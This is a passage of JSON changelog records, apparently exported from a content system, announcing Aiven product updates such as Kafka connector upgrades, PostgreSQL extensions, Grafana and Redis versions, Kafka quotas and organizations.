integrity."}],"level":1,"listItem":"bullet","markDefs":[{"_key":"baeedd2f94d5","_type":"link","href":"https://github.com/snowflakedb/snowflake-kafka-connector/pull/391"}],"style":"normal"},{"_key":"23160030e06d","_type":"block","children":[{"_key":"60a49eeee5c00","_type":"span","marks":["strong"],"text":"Improvements in error handling"}],"markDefs":[],"style":"normal"},{"_key":"e8accd55a9dd","_type":"block","children":[{"_key":"67cad1a35d9b0","_type":"span","marks":["strong"],"text":"Offset token retries "},{"_key":"67cad1a35d9b1","_type":"span","marks":[],"text":"("},{"_key":"67cad1a35d9b2","_type":"span","marks":["aa345c57c456"],"text":"SNOW-543664"},{"_key":"67cad1a35d9b3","_type":"span","marks":[],"text":" and "},{"_key":"67cad1a35d9b4","_type":"span","marks":["7e394f10c6e5"],"text":"SNOW-451197"},{"_key":"67cad1a35d9b5","_type":"span","marks":[],"text":"): The handling of failed offset tokens has been improved, including incorporating automatic retries and offset replays for heightened reliability."}],"level":1,"listItem":"bullet","markDefs":[{"_key":"aa345c57c456","_type":"link","href":"https://github.com/snowflakedb/snowflake-kafka-connector/pull/398"},{"_key":"7e394f10c6e5","_type":"link","href":"https://github.com/snowflakedb/snowflake-kafka-connector/pull/400"}],"style":"normal"},{"_key":"245e26358595","_type":"block","children":[{"_key":"dbad560199e80","_type":"span","marks":["strong"],"text":"Handling of failed insert rows and delivery to Dead-Letter Queue (DLQ)"},{"_key":"dbad560199e81","_type":"span","marks":[],"text":" ("},{"_key":"dbad560199e82","_type":"span","marks":["6fec15e20d92"],"text":"SNOW-530369"},{"_key":"dbad560199e83","_type":"span","marks":[],"text":"): Improved failure handling for row insertion has been implemented along with the new functionality to deliver failed records to a DLQ."}],"level":1,"listItem":"bullet","markDefs":[{"_key":"6fec15e20d92","_type":"link","href":"https://github.com/snowflakedb/snowflake-kafka-connector/pull/401"}],"style":"normal"},{"_key":"023a8234bd9c","_type":"block","children":[{"_key":"da2641336ba80","_type":"span","marks":["strong"],"text":"Implementation of ErrantRecordReporter "},{"_key":"da2641336ba81","_type":"span","marks":[],"text":"("},{"_key":"da2641336ba82","_type":"span","marks":["6f1ead169f8d"],"text":"SNOW-530369"},{"_key":"da2641336ba83","_type":"span","marks":[],"text":"): Kafka records from the sink connector can be transferred to the DLQ for further analysis and reprocessing."}],"level":1,"listItem":"bullet","markDefs":[{"_key":"6f1ead169f8d","_type":"link","href":"https://github.com/snowflakedb/snowflake-kafka-connector/pull/392"}],"style":"normal"},{"_key":"012ebec2e8fc","_type":"block","children":[{"_key":"1ec4592732440","_type":"span","marks":[],"text":"In addition to the above, there have also been updates to dependencies and multiple bug fixes to improve the overall performance and stability of the Snowflake Kafka Connector. For a comprehensive overview of all the changes, see the "},{"_key":"1ec4592732441","_type":"span","marks":["1ddcb52b1199"],"text":"changelog on "},{"_key":"1ec4592732442","_type":"span","marks":[],"text":"GitHub. To learn how to use this connector, see "},{"_key":"1ec4592732443","_type":"span","marks":["734d0f532252"],"text":"Configure Snowflake for a sink connector"},{"_key":"1ec4592732444","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"1ddcb52b1199","_type":"link","href":"https://github.com/snowflakedb/snowflake-kafka-connector/compare/v1.7.1...v1.9.3"},{"_key":"734d0f532252","_type":"link","href":"https://docs.aiven.io/docs/products/kafka/kafka-connect/howto/snowflake-sink-prereq"}],"style":"normal"},{"_key":"fbcd548d12d4","_type":"block","children":[{"_key":"8e1a0af80fa00","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"},{"_key":"16848c900981","_type":"block","children":[{"_key":"a9ee08557e2e0","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"}],"publishedAt":"2023-05-26T08:00:00.000Z","tags":[{"_key":"15abb1b0a2f2","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Upgraded Snowflake connector for Aiven for Apache Kafka®"} {"_createdAt":"2022-10-27T09:07:42Z","_i18n_lang":"en","_id":"d0d3cbf0-42fb-44ec-92e0-1a8efdd52f40","_rev":"ri8ZjU8zRgh6Niwltv1CPf","_type":"changelog","_updatedAt":"2022-10-27T09:07:42Z","changeType":"","publishedAt":"2019-10-23T00:00:00.000Z","tags":[{"_key":"bbfc181e-6bbe-423e-9c2a-e1ae223f0b92","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"Aiven for PostgreSQL now has the pg_cron extension available."} {"_createdAt":"2022-10-27T09:05:57Z","_i18n_lang":"en","_id":"d1314b8c-1567-46e1-a6a5-2855d652a546","_rev":"GNtcCQgxf3P3DqpLt1jU8r","_type":"changelog","_updatedAt":"2022-10-27T09:05:57Z","changeType":"","publishedAt":"2020-10-01T00:00:00.000Z","tags":[{"_key":"f3edc913-cbb7-4b69-9b94-8cc2f397619f","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Added support for filtering kafka topics and consumer groups when sending statistics to Datadog."} {"_createdAt":"2022-10-27T09:08:47Z","_i18n_lang":"en","_id":"d1cf6607-8283-423b-b4ee-9a06dc7ea019","_rev":"Dn65xz5Z1k22g7BhlztLUH","_type":"changelog","_updatedAt":"2022-10-27T09:08:47Z","changeType":"","description":[{"_key":"d5dbced7-57ed-4251-ba80-518a3f97c11d","_type":"block","children":[{"_key":"d446cd33-de78-43f7-a6a5-6780079125ab","_type":"span","marks":[],"text":"Please see the "},{"_key":"339f0439-4697-4aa1-957e-ffd62cd5a43a","_type":"span","marks":["m9249353085369"],"text":"release notes"},{"_key":"c96f055d-04dd-4401-9046-1a745132004f","_type":"span","marks":[],"text":" for more details."}],"markDefs":[{"_key":"m9249353085369","_type":"link","href":"https://community.grafana.com/t/release-notes-v6-0-x/14010"}],"style":"normal"}],"publishedAt":"2019-04-02T00:00:00.000Z","tags":[{"_key":"7cf0df6c-cf4d-47a2-9012-79731ac8a588","_ref":"b1cbe8d3-73b7-4d2e-90b6-13f07afb45d7","_type":"service"}],"title":"Updated Grafana to version 6.0.2 and all plugins to latest versions"} {"_createdAt":"2022-10-27T09:10:34Z","_i18n_lang":"en","_id":"d1f9d73c-aa27-4b69-88d9-62185619d2c0","_rev":"HEiYk6nGjmUICadcDbTckn","_type":"changelog","_updatedAt":"2022-10-27T09:10:34Z","changeType":"","description":[{"_key":"082321d8-90ae-4603-88f5-947ffb4d2628","_type":"block","children":[{"_key":"1d1dff3b-1fb9-474c-b909-98e4db353eed","_type":"span","marks":["code"],"text":"TimescaleDB"},{"_key":"7f1d9f20-6239-48e2-829a-d177c5636c15","_type":"span","marks":[],"text":" allows efficient use of timeseries data in a PostgreSQL service. To see our full list of extensions see our "},{"_key":"79a8bcd3-a6ce-441b-a576-20300510edad","_type":"span","marks":["m5421210493369"],"text":"help article"},{"_key":"a388dead-4f5e-4152-a605-00020ed59ea0","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m5421210493369","_type":"link","href":"https://help.aiven.io/postgresql/extensions/supported-postgresql-extensions"}],"style":"normal"}],"publishedAt":"2018-03-06T00:00:00.000Z","tags":[{"_key":"8f407378-8d6c-4ab6-8dc5-eac3764446d0","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"Added support for the extension \u003ccode\u003eTimescaleDB\u003c/code\u003e"} {"_createdAt":"2022-10-27T09:05:30Z","_i18n_lang":"en","_id":"d29069ad-a3bb-4c26-a948-c876d97437c2","_rev":"GNtcCQgxf3P3DqpLt1jQkn","_type":"changelog","_updatedAt":"2022-10-27T09:05:30Z","changeType":"","description":[{"_key":"468866a8-adf4-4cf7-9a1b-2bc036db922f","_type":"block","children":[{"_key":"8660981f-326f-41b6-94d8-37280a90c02b","_type":"span","marks":[],"text":"Please see the "},{"_key":"a0132f14-935c-406c-a019-f0792f673c59","_type":"span","marks":["m17002922848846"],"text":"release notes"},{"_key":"ba3a49cc-de18-4fe3-97a4-c3b131302988","_type":"span","marks":[],"text":" and the "},{"_key":"8b4d96d3-2065-44f3-a26c-532797648e35","_type":"span","marks":["m5209470591183"],"text":"documentation"},{"_key":"925bfcd0-c651-4844-966c-1074c2ad289b","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m17002922848846","_type":"link","href":"https://github.com/aiven/aiven-kafka-connect-jdbc/releases/tag/v6.3.0"},{"_key":"m5209470591183","_type":"link","href":"https://github.com/aiven/aiven-kafka-connect-jdbc/tree/v6.3.0"}],"style":"normal"}],"publishedAt":"2020-12-09T00:00:00.000Z","tags":[{"_key":"f7556877-2cdc-40fa-9f30-c08e5b6d1960","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Aiven Kafka Connect sink and source JDBC connectors have been updated to version 6.3.0"} {"_createdAt":"2022-10-27T09:07:50Z","_i18n_lang":"en","_id":"d32cfabf-8fb6-4193-b5c3-cc712fbafa49","_rev":"chYcdg0OBeHzQFNhare9m7","_type":"changelog","_updatedAt":"2022-10-27T09:07:50Z","changeType":"","description":[{"_key":"66e374f3-546e-4f50-a6da-f5528de61910","_type":"block","children":[{"_key":"006283ea-d21f-424c-9324-5e4459d30343","_type":"span","marks":[],"text":"Please see the "},{"_key":"403a0b93-1457-4bdd-85f9-e2ce3e7999b6","_type":"span","marks":["m7815463120667"],"text":"release notes"},{"_key":"51f54049-a444-4bc5-a41a-6af373d93ff3","_type":"span","marks":[],"text":" and the "},{"_key":"c9814e19-e6f6-4713-acfb-20c07dd9afd5","_type":"span","marks":["m11921764835802"],"text":"documentation"},{"_key":"904001e6-8b7a-404d-8399-ea8af080a401","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m7815463120667","_type":"link","href":"https://github.com/aiven/aiven-kafka-connect-transforms/releases/tag/v0.1.1"},{"_key":"m11921764835802","_type":"link","href":"https://github.com/aiven/aiven-kafka-connect-transforms"}],"style":"normal"}],"publishedAt":"2019-10-07T00:00:00.000Z","tags":[{"_key":"3bf4002d-b041-4111-b127-9c4b17757956","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Aiven collection of single message transformations (SMTs) for Kafka Connect has been updated to version 0.1.1"} {"_createdAt":"2022-10-27T09:09:53Z","_i18n_lang":"en","_id":"d34b5eff-5143-45fc-a3cc-cd9dc7469558","_rev":"ri8ZjU8zRgh6Niwltv1DzF","_type":"changelog","_updatedAt":"2022-10-27T09:09:53Z","changeType":"","description":[{"_key":"6e5aabe5-24ab-428c-ad3f-f5dd1fa84af5","_type":"block","children":[{"_key":"98a2b1d9-a97c-4c33-b971-1949c3acb69c","_type":"span","marks":[],"text":"Aiven-extras is an extension meant to allow additional PostgreSQL superuser-only functionality to be used. Initially it adds support for the use of PostgreSQL logical replication to and from Aiven for PostgreSQL."}],"markDefs":[],"style":"normal"}],"publishedAt":"2018-08-13T00:00:00.000Z","tags":[{"_key":"d306f06d-1f72-432b-a4f5-446508dcfb1c","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"Aiven for PostgreSQL has added support for TimescaleDB version 0.11.0, pg_repack 1.4.3 and to version 1.0.0 of a new package called aiven-extras"} {"_createdAt":"2022-10-27T09:07:15Z","_i18n_lang":"en","_id":"d37f06a9-bc95-47fa-94ab-774584fd961c","_rev":"RS2LhK1JP0SKK0JvX1Qit1","_type":"changelog","_updatedAt":"2022-10-27T09:07:15Z","changeType":"","description":[{"_key":"8ec65bff-825c-4948-89c6-7938f4463ff4","_type":"block","children":[{"_key":"24ece380-2acc-4bc5-8f8a-ecf85f22a03d","_type":"span","marks":[],"text":"Please see the "},{"_key":"bbcbe6d3-8813-4224-afc8-a223be8f62c4","_type":"span","marks":["m7285338555803"],"text":"release notes"},{"_key":"746988dd-0838-4397-871f-6210ed981f70","_type":"span","marks":[],"text":" for more details."}],"markDefs":[{"_key":"m7285338555803","_type":"link","href":"https://community.grafana.com/t/release-notes-v6-5-x/22704"}],"style":"normal"}],"publishedAt":"2020-01-15T00:00:00.000Z","tags":[{"_key":"dd464c06-6244-489a-96cd-6dc92ac10013","_ref":"b1cbe8d3-73b7-4d2e-90b6-13f07afb45d7","_type":"service"}],"title":"Updated Grafana to version 6.5.2 and all plugins to latest versions"} {"_createdAt":"2022-10-27T09:10:07Z","_i18n_lang":"en","_id":"d3bc7983-51f5-4c83-9dc2-776e9f3992a2","_rev":"Cf2WlCE8X5IGBBi7ld1LNC","_type":"changelog","_updatedAt":"2022-10-27T09:10:07Z","changeType":"","description":[{"_key":"e3b1f47b-57c2-4a87-b567-54b74d5b94a3","_type":"block","children":[{"_key":"c17392e5-d86c-4659-884b-28492cffad60","_type":"span","marks":[],"text":"Please see the "},{"_key":"c6b323c9-ed26-4017-993f-ee92ada1cb1a","_type":"span","marks":["m647273877017"],"text":"Changelog"},{"_key":"be60d8d2-982b-499e-a1ff-cfe206e0aab0","_type":"span","marks":[],"text":" for what's new in this release."}],"markDefs":[{"_key":"m647273877017","_type":"link","href":"https://raw.githubusercontent.com/antirez/redis/4.0/00-RELEASENOTES"}],"style":"normal"}],"publishedAt":"2018-06-14T00:00:00.000Z","tags":[{"_key":"1888e247-c7e7-4cf2-bd5e-979359087627","_ref":"f1fcd019-a608-4171-bc4b-2886adfa67a5","_type":"service"}],"title":"Updated Redis to minor version 4.0.10"} {"__i18n_lang":"en","_createdAt":"2023-06-19T14:20:26Z","_id":"d3fbc4de-ad07-49cd-bf4f-95ee4104177b","_rev":"iFqNzOUeP20hjvWPymoop9","_type":"changelog","_updatedAt":"2023-06-19T15:59:18Z","changeType":"new","description":[{"_key":"c24377dca4b9","_type":"block","children":[{"_key":"8a168f905a8e0","_type":"span","marks":[],"text":"You can now control the network throughput and CPU usage of your Kafka clients with the new Quotas feature in Aiven for Apache Kafka. Quotas allow you to set limits on how much bandwidth and processing power each client can consume, ensuring a balanced distribution of resources and improving the system's performance. This feature helps prevent resource depletion and enhances the efficiency of your Kafka service. To learn more about Quotas and how to add quotas, see "},{"_key":"8a168f905a8e1","_type":"span","marks":["98af7bf3e45d"],"text":"Quotas documentation"},{"_key":"8a168f905a8e2","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"98af7bf3e45d","_type":"link","href":"https://docs.aiven.io/docs/products/kafka/concepts/kafka-quotas"}],"style":"normal"}],"publishedAt":"2023-06-19T16:00:00.000Z","tags":[{"_key":"3710a780fd3c","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Manage resource consumption with Quotas in Aiven for Apache Kafka®"} {"_createdAt":"2022-10-27T09:10:45Z","_i18n_lang":"en","_id":"d4bccb41-3292-4c1b-bed3-d229c4a5fb6c","_rev":"HEiYk6nGjmUICadcDbTdqs","_type":"changelog","_updatedAt":"2022-10-27T09:10:45Z","changeType":"","publishedAt":"2018-02-05T00:00:00.000Z","tags":[{"_key":"8fc9ab15-b9c3-4479-b88e-ea8c557986fd","_ref":"f1fcd019-a608-4171-bc4b-2886adfa67a5","_type":"service"}],"title":"Aiven for Redis service's connection limits have been increased, allowing hundreds of thousands of connections in the largest Aiven for Redis plans"} {"_createdAt":"2022-10-27T09:10:22Z","_i18n_lang":"en","_id":"d4eef108-e680-42f5-9841-622cf74f9f1d","_rev":"LZdZtpADiowz8bkvB6njqi","_type":"changelog","_updatedAt":"2022-10-27T09:10:22Z","changeType":"","publishedAt":"2018-03-30T00:00:00.000Z","tags":[],"title":"The service metrics page now shows \u003ca href=\"https://en.wikipedia.org/wiki/Load_(computing)\" rel=\"nofollow noopener noreferrer\"\u003eload average\u003c/a\u003e to make it easier to see if the service is underprovisioned."} {"_createdAt":"2022-10-27T09:11:36Z","_i18n_lang":"en","_id":"d511971e-99b9-4113-915a-746141eef02a","_rev":"7JYD5XroFCjaK9NJzk41D0","_type":"changelog","_updatedAt":"2022-10-27T09:11:36Z","changeType":"","description":[{"_key":"35c880d3-457e-4eb6-bf47-f392f594465d","_type":"block","children":[{"_key":"d46237f6-5403-4b73-9e0a-4b5b05d92e67","_type":"span","marks":[],"text":"This allows you to configure your login to require two different authentication sources for enhanced security. To learn more see our "},{"_key":"3df28ef3-8478-4df4-b7fb-68e963fb5d0d","_type":"span","marks":["m17183207446607"],"text":"help article"},{"_key":"3d04ac92-afc7-48b7-8a9f-3932c54c0a70","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m17183207446607","_type":"link","href":"https://help.aiven.io/security/two-factor-authentication"}],"style":"normal"}],"publishedAt":"2017-07-13T00:00:00.000Z","tags":[],"title":"Added support for two factor authentication"} {"_createdAt":"2022-10-27T09:02:08Z","_i18n_lang":"en","_id":"d5351294-4683-4c19-9213-62ef579322bd","_rev":"RS2LhK1JP0SKK0JvX1PRD1","_type":"changelog","_updatedAt":"2022-10-27T09:02:08Z","changeType":"","publishedAt":"2022-08-26T00:00:00.000Z","tags":[{"_key":"8a734e0b-38a8-4bab-8305-71671b231fc7","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"Aiven for PostgreSQL PostGIS extension versions 2.5.8, 3.0.7, 3.1.7 and 3.2.3 are available."} {"_createdAt":"2022-10-27T09:07:27Z","_i18n_lang":"en","_id":"d55e0fc9-6f2b-4436-aa8c-6201448fe174","_rev":"RS2LhK1JP0SKK0JvX1QmC1","_type":"changelog","_updatedAt":"2022-10-27T09:07:27Z","changeType":"","description":[{"_key":"18b3cea7-655c-4f92-9c3e-d653eb24feef","_type":"block","children":[{"_key":"6201742b-5548-49d0-b2dc-980ad257a2a8","_type":"span","marks":[],"text":"Please see "},{"_key":"e4568233-319a-4e46-aeee-fb01f69eec33","_type":"span","marks":["m1080352919603"],"text":"the changelog"},{"_key":"feea2e2b-a8bc-49e9-913b-a58a66b76f72","_type":"span","marks":[],"text":" and "},{"_key":"ff11419e-66a4-4838-8bc0-0782700a3344","_type":"span","marks":["m1768960206853"],"text":"the documentation"},{"_key":"1874c08c-4c32-4a85-8edc-23448025b3d4","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m1080352919603","_type":"link","href":"https://github.com/snowflakedb/snowflake-kafka-connector/releases/tag/v0.5.4"},{"_key":"m1768960206853","_type":"link","href":"https://docs.snowflake.net/manuals/user-guide/kafka-connector.html"}],"style":"normal"}],"publishedAt":"2019-11-07T00:00:00.000Z","tags":[{"_key":"fea566e8-5527-4076-be8d-fa341cbf806d","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Snowflake Kafka Connect Connector has been updated to patched version 0.5.4"} {"_createdAt":"2022-10-27T09:06:49Z","_i18n_lang":"en","_id":"d59bfd7a-afd6-4684-9655-2377d00b3a17","_rev":"ri8ZjU8zRgh6Niwltv1Btj","_type":"changelog","_updatedAt":"2022-10-27T09:06:49Z","changeType":"","description":[{"_key":"7d75d50d-d970-4c36-be9b-03cead9dd2a2","_type":"block","children":[{"_key":"47036d00-6817-48e6-969d-7c9dbc99f109","_type":"span","marks":[],"text":"Please see the "},{"_key":"86998b5a-9d3b-4837-bd5d-da511aeba1c1","_type":"span","marks":["m16482382961628"],"text":"announcement"},{"_key":"5b1ad7c8-deed-4a51-9c7f-31d2edfed808","_type":"span","marks":[],"text":" and "},{"_key":"34dc1d12-4ed4-4ee4-9b78-3042700ecb11","_type":"span","marks":["m17200033964065"],"text":"Release Notes"},{"_key":"87e04394-105a-4127-9287-1dbe74096359","_type":"span","marks":[],"text":" for more details."}],"markDefs":[{"_key":"m16482382961628","_type":"link","href":"https://aiven.io/blog/apache-kafka-2-5-available-on-aiven/"},{"_key":"m17200033964065","_type":"link","href":"https://downloads.apache.org/kafka/2.5.0/RELEASE_NOTES.html"}],"style":"normal"}],"publishedAt":"2020-05-05T00:00:00.000Z","tags":[{"_key":"54321119-02a5-4b38-aa4d-fa17bfbc2d98","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Apache Kafka version 2.5 is now available on Aiven"} {"_createdAt":"2022-10-27T09:11:42Z","_i18n_lang":"en","_id":"d5fbb33b-7c03-4bdd-9105-84b76fef8be3","_rev":"WYf15BwQWb3V4yHfbxPs0x","_type":"changelog","_updatedAt":"2022-10-27T09:11:42Z","changeType":"","description":[{"_key":"8ddbd38e-f073-41f0-8a4f-4c8b688db15d","_type":"block","children":[{"_key":"2687951b-49db-4612-808f-f31f34862b34","_type":"span","marks":[],"text":"Previously there was a limit to the amount of USERs and DATABASEs that a customer could create."}],"markDefs":[],"style":"normal"}],"publishedAt":"2017-06-07T00:00:00.000Z","tags":[{"_key":"05f7c5eb-3647-4ae3-9d38-02d5a9f56740","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"Removed all database and service user account limits"} {"__i18n_lang":"en","_createdAt":"2023-11-20T09:59:11Z","_id":"d62c2f2a-fdf3-4cac-9a29-bd5c05ba03de","_rev":"Arp4NzaYseKQ5hw9dWTRuS","_type":"changelog","_updatedAt":"2023-11-20T09:59:11Z","changeType":"improved","description":[{"_key":"44a92ac42c19","_type":"block","children":[{"_key":"f51f67d2d9970","_type":"span","marks":[],"text":"TimescaleDB extension version 2.12.2 is now available for Aiven for PostgreSQL®. It introduces bug fixes on top of release 2.11.1. Removing bugs can increase database performance, improve service availability, and help ensure business continuity."}],"markDefs":[],"style":"normal"},{"_key":"27431df6e8d7","_type":"block","children":[{"_key":"b2ab6189bb0c0","_type":"span","marks":["strong"],"text":"Bug fixes"}],"markDefs":[],"style":"normal"},{"_key":"87781741af5a","_type":"block","children":[{"_key":"f4023e6e7c290","_type":"span","marks":["b87cee8a652d"],"text":"Align gapfill bucket generation with time_bucket"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"b87cee8a652d","_type":"link","href":"https://github.com/timescale/timescaledb/pull/6155"}],"style":"normal"},{"_key":"7288defb26bb","_type":"block","children":[{"_key":"4530162d0d980","_type":"span","marks":["735247c682f1"],"text":"Ensure fixed_schedule field is populated"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"735247c682f1","_type":"link","href":"https://github.com/timescale/timescaledb/pull/6181"}],"style":"normal"},{"_key":"15c8aa88b2fb","_type":"block","children":[{"_key":"3c48c33f0dcd0","_type":"span","marks":["998fd1a00aa8"],"text":"Fix EXPLAIN ANALYZE for compressed DML"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"998fd1a00aa8","_type":"link","href":"https://github.com/timescale/timescaledb/pull/6210"}],"style":"normal"}],"publishedAt":"2023-11-17T09:50:00.000Z","tags":[{"_key":"4e1a077b7b46","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"TimescaleDB extension 2.12.2 for Aiven for PostgreSQL® released"} {"_createdAt":"2022-10-27T09:10:58Z","_i18n_lang":"en","_id":"d6b02237-3176-4202-9073-8acf6ee3ddb2","_rev":"zF7BMhNhvYpWtPMfHNO27W","_type":"changelog","_updatedAt":"2022-10-27T09:10:58Z","changeType":"","publishedAt":"2017-12-25T00:00:00.000Z","tags":[{"_key":"fc595b95-d570-49b5-b012-95cfe74625c9","_ref":"f1fcd019-a608-4171-bc4b-2886adfa67a5","_type":"service"}],"title":"Aiven for Redis upgrade to Redis version 4.0.6 available as an optional maintenance update."} {"_createdAt":"2022-10-27T09:10:27Z","_i18n_lang":"en","_id":"d7e85714-a2ac-4054-873d-339f1ec72c8a","_rev":"7JYD5XroFCjaK9NJzk3zQS","_type":"changelog","_updatedAt":"2022-10-27T09:10:27Z","changeType":"","description":[{"_key":"ac2bb2af-75ab-46cc-b2c5-74b8a86fcb27","_type":"block","children":[{"_key":"da19431f-5b48-4f07-8bb5-73aab4456c5b","_type":"span","marks":[],"text":"Read replicas allow you to create separate read-only copies of an existing Aiven for PostgreSQL database in a different region and cloud. The new functionality will be documented in detail in an upcoming blog post."}],"markDefs":[],"style":"normal"}],"publishedAt":"2018-03-21T00:00:00.000Z","tags":[{"_key":"e6b1febc-84aa-4bb0-8c1f-65dbf0c691b3","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"Introduce support for PostgreSQL read replicas"} {"__i18n_lang":"en","_createdAt":"2023-01-27T13:28:49Z","_id":"d7f0732d-a903-4fd2-ad00-499d06bfe2b3","_rev":"ZxzZ1hFw7v7VMlheReiTV8","_type":"changelog","_updatedAt":"2023-02-16T15:57:33Z","changeType":"new","description":[{"_key":"d50640acc70d","_type":"block","children":[{"_key":"38a920ea9f400","_type":"span","marks":[],"text":"Accounts in Aiven are being replaced by organizations and organizational units. Organizations and units allow you to globally manage and scale your setup on the Aiven platform. They can be flexibly consolidated into one structure to mirror your own organizational hierarchy."}],"markDefs":[],"style":"normal"},{"_key":"af4a1cadc960","_type":"block","children":[{"_key":"26fbb2ff98460","_type":"span","marks":[],"text":"Organizations and units also provide:"}],"markDefs":[],"style":"normal"},{"_key":"1ebac3e3b9fa","_type":"block","children":[{"_key":"2172b4654c890","_type":"span","marks":[],"text":"Better management of your environments by separating production and testing projects"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"9080b311e4eb","_type":"block","children":[{"_key":"bd8254c2833e0","_type":"span","marks":[],"text":"Set-and-forget configuration for things like authentication methods and billing"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"0862500b72c3","_type":"block","children":[{"_key":"9e4d8f8e0ed10","_type":"span","marks":[],"text":"Simpler management of your projects by centralizing administration"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"4bf3d8d36c33","_type":"block","children":[{"_key":"f3b29cba2a950","_type":"span","marks":[],"text":"For more information on organizations and units see the "},{"_key":"c0655bea0ca3","_type":"span","marks":["bbd83ba72616"],"text":"blog post"},{"_key":"d269090b1d6a","_type":"span","marks":[],"text":" or the "},{"_key":"964c10519977","_type":"span","marks":["319cde4898b5"],"text":"documentation"},{"_key":"1663fb3c7b91","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"bbd83ba72616","_type":"link","href":"https://aiven.io/blog/introducing-organizations-and-units-in-aiven"},{"_key":"319cde4898b5","_type":"link","href":"https://docs.aiven.io/docs/platform/concepts/projects_accounts_access"}],"style":"normal"}],"publishedAt":"2023-02-16T13:30:00.000Z","tags":[{"_key":"2722a67ad16c","_ref":"9096ab2c-f4cd-421e-aa1a-b10d462d6011","_type":"tool"}],"title":"Introducing organizations and units"} {"__i18n_lang":"en","_createdAt":"2023-02-28T14:01:31Z","_id":"d7fdf4d0-8a4c-4d3f-8380-81270025923c","_rev":"pJJUxfiu5kmajTgXetCSE1","_type":"changelog","_updatedAt":"2023-03-01T09:16:57Z","changeType":"improved","description":[{"_key":"8d42ffa52816","_type":"block","children":[{"_key":"3d06277f90560","_type":"span","marks":[],"text":"Aiven's OpenSearch Connector for Apache Kafka has been updated to version 3.0.0. This connector version includes the following improvements:"}],"markDefs":[],"style":"normal"},{"_key":"10f852270971","_type":"block","children":[{"_key":"b456654d3ad00","_type":"span","marks":[],"text":"Support for data streams has been added to optimize time-series data management. This simplifies ingesting continuously generated data such as logs, events, and metrics."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"bd876ea7663b","_type":"block","children":[{"_key":"4a40977ee3cf0","_type":"span","marks":[],"text":"The connector now features "},{"_key":"cc8dc98d3656","_type":"span","marks":["code"],"text":"index.write.method"},{"_key":"9212c67a1171","_type":"span","marks":[],"text":" for improved OpenSearch index control. By default, the ``index.write.method`` is set to "},{"_key":"21ff10803e13","_type":"span","marks":["code"],"text":"insert"},{"_key":"7c9c69017a72","_type":"span","marks":[],"text":", which replaces any existing record with the same document ID. Alternatively, users can also use "},{"_key":"b58df3f780c3","_type":"span","marks":["code"],"text":"upsert"},{"_key":"bc57ce75de79","_type":"span","marks":[],"text":" to create a new document if one does not exist or update an existing one."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"8ef2e8699596","_type":"block","children":[{"_key":"b292ddc354f0","_type":"span","marks":["strong"],"text":"Important:"},{"_key":"4ab3afe1ea10","_type":"span","marks":[],"text":" This version includes breaking changes on the code level, which may impact existing data stream integrations that were created manually.\n\nFor more information, see "},{"_key":"1db562637d8d1","_type":"span","marks":["575f5248a592"],"text":"release notes"},{"_key":"1db562637d8d2","_type":"span","marks":[],"text":" and "},{"_key":"1db562637d8d3","_type":"span","marks":["6c46f88e3cc8"],"text":"OpenSearch sink connector configuration"},{"_key":"1db562637d8d4","_type":"span","marks":[],"text":" options."}],"markDefs":[{"_key":"575f5248a592","_type":"link","href":"https://github.com/aiven/opensearch-connector-for-apache-kafka/releases/tag/v3.0.0"},{"_key":"6c46f88e3cc8","_type":"link","href":"https://github.com/aiven/opensearch-connector-for-apache-kafka/blob/v2.0.4/docs/opensearch-sink-connector-config-options.rst"}],"style":"normal"}],"publishedAt":"2023-02-28T14:01:40.547Z","tags":[{"_key":"7a95d8882c85","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Aiven's OpenSearch Connector for Apache Kafka version 3.0.0"} {"_createdAt":"2022-10-27T09:03:40Z","_i18n_lang":"en","_id":"d85f6240-8570-4387-a341-f9fffd951b43","_rev":"GNtcCQgxf3P3DqpLt1imFZ","_type":"changelog","_updatedAt":"2022-10-27T09:03:40Z","changeType":"","description":[{"_key":"3718c109-6032-4e4f-8ba3-c358cfe485e7","_type":"block","children":[{"_key":"70819f17-1134-43b1-9848-785dc06a3427","_type":"span","marks":[],"text":"Please see the "},{"_key":"b5efdbf4-f3e2-480f-bba4-06e94e445dd7","_type":"span","marks":["m13606856703213"],"text":"release notes"},{"_key":"26524e94-5109-44cf-8d90-32352d8da74a","_type":"span","marks":[],"text":" for more 